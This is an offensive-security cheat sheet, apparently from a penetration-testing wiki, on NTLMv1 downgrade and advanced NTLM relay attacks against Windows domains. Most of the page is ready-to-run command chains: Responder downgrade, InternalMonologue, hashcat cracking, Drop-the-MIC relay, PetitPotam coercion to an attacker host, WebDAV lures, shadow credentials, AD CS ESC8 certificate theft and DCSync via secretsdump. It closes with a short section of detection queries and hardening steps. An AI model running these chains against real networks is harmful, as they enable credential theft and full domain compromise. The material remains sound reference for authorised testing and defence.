NTLM Downgrade & Advanced Relay
Modern NTLM attacks go beyond basic relay — NTLMv2 to NTLMv1 downgrade enables cracking via rainbow tables, "Drop the MIC" bypasses signing enforcement, and WebDAV relay circumvents SMB signing requirements. These techniques remain critical in 2024+ environments where NTLM hasn't been fully disabled.
Danger
📚 Quick Navigation
📉 Downgrade
⚡ Relay Techniques
🎯 Why This Matters
- NTLMv1 Is Trivially Crackable: NTLMv1 hashes can be cracked to NTLM in seconds using rainbow tables (crack.sh) — downgrade makes captured hashes exploitable.
- Signing Bypass: Drop the MIC removes the Message Integrity Code from NTLM relay, defeating signing enforcement on targets like LDAP.
- WebDAV = No SMB Signing: WebDAV relay converts SMB authentication into HTTP NTLM, which isn't subject to SMB signing requirements.
- NTLM Still Everywhere: Despite Microsoft pushing Kerberos, most Windows environments still allow NTLM fallback authentication.
NTLMv2 → NTLMv1 Downgrade
By default, modern Windows uses NTLMv2 which includes a server challenge making offline cracking impractical. However, if you control the server responding to the NTLM authentication, you can request NTLMv1 by setting specific NTLMSSP negotiation flags. The captured NTLMv1 response can then be cracked instantly.
Downgrade with Responder
# Responder with NTLMv1 downgrade
python3 Responder.py -I eth0 --lm
# Capture format (with ESS disabled):
# user::domain:LM_RESPONSE:NTLM_RESPONSE:SERVER_CHALLENGE# Responder with NTLMv1 downgrade
python3 Responder.py -I eth0 --lm
# Capture format (with ESS disabled):
# user::domain:LM_RESPONSE:NTLM_RESPONSE:SERVER_CHALLENGEInformation
--lm flag forces NTLMv1 in the NTLMSSP challenge. Whether downgrade works depends on the client's
LmCompatibilityLevel: Level 0-2 sends LM/NTLM responses (vulnerable), Level 3-5 sends NTLMv2 only
(downgrade blocked). Most modern Windows defaults are level 3, but legacy systems at 0-2 remain common.
Downgrade with InternalMonologue
InternalMonologue performs NTLMv1 downgrade entirely locally — it temporarily sets LmCompatibilityLevel=0,
captures NTLMv1 hashes for all logged-on users, then restores the original setting. No network traffic is generated
and output is directly submittable to crack.sh for instant NTLM hash recovery.
# Perform local NTLMv1 downgrade and capture all logged-on user hashes
InternalMonologue.exe -Downgrade True -Restore True -Impersonate True# Perform local NTLMv1 downgrade and capture all logged-on user hashes
InternalMonologue.exe -Downgrade True -Restore True -Impersonate TrueCracking NTLMv1
NTLMv1 uses DES internally — the response can be split into 3 DES keys for brute-force cracking. Alternatively, submit directly to crack.sh (free rainbow table service) for instant recovery.
# Convert NTLMv1 response to format for rainbow tables
python3 ntlmv1-multi.py --ntlmv1 "user::CORP:RESPONSE:RESPONSE:CHALLENGE"
# DES brute-force with hashcat (split into 3 DES keys)
hashcat -m 14000 -a 3 des_key1.hash ?h?h?h?h?h?h?h?h
hashcat -m 14000 -a 3 des_key2.hash ?h?h?h?h?h?h?h?h
# Use recovered NTLM hash for pass-the-hash
nxc smb target -u user -H 'recovered-ntlm-hash'# Convert NTLMv1 response to format for rainbow tables
python3 ntlmv1-multi.py --ntlmv1 "user::CORP:RESPONSE:RESPONSE:CHALLENGE"
# DES brute-force with hashcat (split into 3 DES keys)
hashcat -m 14000 -a 3 des_key1.hash ?h?h?h?h?h?h?h?h
hashcat -m 14000 -a 3 des_key2.hash ?h?h?h?h?h?h?h?h
# Use recovered NTLM hash for pass-the-hash
nxc smb target -u user -H 'recovered-ntlm-hash'Drop the MIC (CVE-2019-1040)
The MIC (Message Integrity Code) in NTLM prevents tampering with authentication messages during relay. "Drop the MIC" removes or modifies the MIC flag, allowing relay to targets that require signing (like LDAP/S). While patched in June 2019, many environments remain unpatched or have legacy systems vulnerable.
# ntlmrelayx with MIC removal (for unpatched targets)
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic \
--delegate-access --escalate-user 'FAKECOMP$'
# Combine with coercion for unauthenticated RBCD
# Step 1: Start relay
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic --delegate-access
# Step 2: Coerce authentication
python3 PetitPotam.py attacker-ip target.corp.local
# If target DC is unpatched, MIC is stripped and LDAP relay succeeds
# even though LDAP signing is "required"# ntlmrelayx with MIC removal (for unpatched targets)
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic \
--delegate-access --escalate-user 'FAKECOMP$'
# Combine with coercion for unauthenticated RBCD
# Step 1: Start relay
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic --delegate-access
# Step 2: Coerce authentication
python3 PetitPotam.py attacker-ip target.corp.local
# If target DC is unpatched, MIC is stripped and LDAP relay succeeds
# even though LDAP signing is "required"EPA (Extended Protection for Authentication) Bypass
EPA (Channel Binding) ties NTLM auth to the TLS channel, blocking relay. Bypass by relaying via HTTP (no TLS = no channel binding) or targeting endpoints without EPA configured — AD CS web enrollment is a common target.
# ntlmrelayx — relay to HTTP endpoints that lack EPA
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
--adcs --template DomainController# ntlmrelayx — relay to HTTP endpoints that lack EPA
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
--adcs --template DomainControllerWebDAV NTLM Relay
WebDAV relay is one of the most powerful relay techniques because it converts SMB→HTTP. Since HTTP doesn't enforce SMB signing, you can relay to targets even when SMB signing is required. The WebClient service must be running on the source machine.
# Check if WebClient service is running (required for WebDAV)
nxc smb targets.txt -u user -p 'Pass123' -M webdav
# Start WebDAV relay — listen on HTTP, relay to LDAPS
ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access \
--serve-image ./trigger.jpg
# Trigger WebDAV auth — use UNC with hostname (NOT IP) on port 80
# Drop on a writable share or send via phishing
# \\attacker@80\share\file.txt
# Start WebClient service remotely (required for WebDAV)
python3 webclientservicescanner.py -u user -p Pass123 -d corp.local targets.txt# Check if WebClient service is running (required for WebDAV)
nxc smb targets.txt -u user -p 'Pass123' -M webdav
# Start WebDAV relay — listen on HTTP, relay to LDAPS
ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access \
--serve-image ./trigger.jpg
# Trigger WebDAV auth — use UNC with hostname (NOT IP) on port 80
# Drop on a writable share or send via phishing
# \\attacker@80\share\file.txt
# Start WebClient service remotely (required for WebDAV)
python3 webclientservicescanner.py -u user -p Pass123 -d corp.local targets.txtInformation
.searchConnector-ms file on a writable share. \n When a user browses the folder, Windows automatically makes a WebDAV connection to your listener, \n sending their NTLM credentials for relay.
Relay to Shadow Credentials
# Relay coerced authentication to add Shadow Credentials
# instead of RBCD — useful when MachineAccountQuota = 0
ntlmrelayx.py -t ldaps://dc01.corp.local --shadow-credentials \
--shadow-target 'TARGET-SRV$'
# After relay succeeds, use the generated PFX certificate
# to authenticate as the target machine
python3 gettgtpkinit.py -cert-pfx target.pfx -pfx-pass password \
corp.local/'TARGET-SRV$' target.ccache
# Extract NT hash from the PAC
python3 getnthash.py -key <AS-REP-key> corp.local/'TARGET-SRV$'
# Use the machine hash for secretsdump
secretsdump.py -hashes :machine-hash corp.local/'TARGET-SRV$'@target-srv.corp.local# Relay coerced authentication to add Shadow Credentials
# instead of RBCD — useful when MachineAccountQuota = 0
ntlmrelayx.py -t ldaps://dc01.corp.local --shadow-credentials \
--shadow-target 'TARGET-SRV$'
# After relay succeeds, use the generated PFX certificate
# to authenticate as the target machine
python3 gettgtpkinit.py -cert-pfx target.pfx -pfx-pass password \
corp.local/'TARGET-SRV$' target.ccache
# Extract NT hash from the PAC
python3 getnthash.py -key <AS-REP-key> corp.local/'TARGET-SRV$'
# Use the machine hash for secretsdump
secretsdump.py -hashes :machine-hash corp.local/'TARGET-SRV$'@target-srv.corp.localRelay to AD CS (ESC8)
# Relay NTLM auth to AD CS HTTP enrollment endpoint
# to get a certificate as the coerced machine
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
--adcs --template Machine
# Combine with PetitPotam for DC certificate
python3 PetitPotam.py attacker-ip dc01.corp.local
# ntlmrelayx captures the DC's certificate
# Use it to authenticate and DCSync
python3 gettgtpkinit.py -cert-pfx dc01.pfx corp.local/dc01$ dc01.ccache
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass dc01.corp.local# Relay NTLM auth to AD CS HTTP enrollment endpoint
# to get a certificate as the coerced machine
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
--adcs --template Machine
# Combine with PetitPotam for DC certificate
python3 PetitPotam.py attacker-ip dc01.corp.local
# ntlmrelayx captures the DC's certificate
# Use it to authenticate and DCSync
python3 gettgtpkinit.py -cert-pfx dc01.pfx corp.local/dc01$ dc01.ccache
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass dc01.corp.localDetection & Blue Team
| Event ID | Source | Indicator |
|---|---|---|
| 4624 | Security | Logon with NTLMv1 — AuthenticationPackageName=NTLM, LmPackageName=NTLM V1 |
| 8001 | NTLM | NTLM authentication — filter for NTLMv1 vs NTLMv2 |
| 4648 | Security | Explicit credential logon — relay creates authentication from unexpected IPs |
// KQL — Detect NTLMv1 authentication attempts
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where LmPackageName == "NTLM V1"
| project TimeGenerated, TargetUserName, WorkstationName, IpAddress
// Detect NTLM relay — source IP != workstation IP
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where IpAddress != WorkstationName and IpAddress != ""
| project TimeGenerated, TargetUserName, WorkstationName, IpAddress// KQL — Detect NTLMv1 authentication attempts
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where LmPackageName == "NTLM V1"
| project TimeGenerated, TargetUserName, WorkstationName, IpAddress
// Detect NTLM relay — source IP != workstation IP
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where IpAddress != WorkstationName and IpAddress != ""
| project TimeGenerated, TargetUserName, WorkstationName, IpAddressHardening
Enforce NTLMv2 (Level 5)
Set LmCompatibilityLevel=5 via GPO to refuse NTLMv1 — blocks downgrade attacks entirely.
Enable SMB Signing Everywhere
Require SMB signing on all machines — blocks SMB-to-SMB relay (but not WebDAV).
Enable EPA on LDAPS
Enable Extended Protection for Authentication (Channel Binding) on LDAPS to block relay to LDAP.
Disable WebClient Service
Disable the WebClient service on servers and workstations where WebDAV is not needed.